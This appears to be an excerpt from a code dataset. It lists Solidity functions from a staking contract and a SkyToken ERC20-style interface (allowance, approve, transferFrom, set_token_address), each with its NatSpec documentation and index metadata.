* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.8.3+commit.8d00100c | {
"func_code_index": [
1160,
1275
]
} | 25,996 | ||||
staking | contracts/staking.sol | 0x904943e97a51a8260fd71187bc9d2c69feb8547f | Solidity | SkyToken | interface SkyToken {
function extMint(address _addr, uint256 _amount) external returns (bool);
function isWhitelistedReceiver(address _addr) external view returns (bool);
function isWhitelistedMinter(address _addr) external view returns (bool);
/**
* @dev Returns the amount of tokens in ... | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
... | NatSpecMultiLine | v0.8.3+commit.8d00100c | {
"func_code_index": [
1939,
2018
]
} | 25,997 | ||||
staking | contracts/staking.sol | 0x904943e97a51a8260fd71187bc9d2c69feb8547f | Solidity | SkyToken | interface SkyToken {
function extMint(address _addr, uint256 _amount) external returns (bool);
function isWhitelistedReceiver(address _addr) external view returns (bool);
function isWhitelistedMinter(address _addr) external view returns (bool);
/**
* @dev Returns the amount of tokens in ... | transferFrom | function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.3+commit.8d00100c | {
"func_code_index": [
2331,
2467
]
} | 25,998 | ||||
staking | contracts/staking.sol | 0x904943e97a51a8260fd71187bc9d2c69feb8547f | Solidity | staking | contract staking is Ownable, ERC20 {
using SafeMath for uint256;
uint256 public currentRound = 0;
uint24 public WEEK = 604800;
uint256 public readyAt = 0;
uint256 public deployTime = block.timestamp ;
address public token_addr;
SkyToken token_contract = SkyToken(token_addr);
... | set_token_address | function set_token_address(address addr) external onlyOwner {
token_addr = addr;
token_contract = SkyToken(addr);
}
| /**
* @notice Set Skycoin token contract address
* @param addr Address of Skycoin token contract
*/ | NatSpecMultiLine | v0.8.3+commit.8d00100c | {
"func_code_index": [
1134,
1277
]
} | 25,999 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.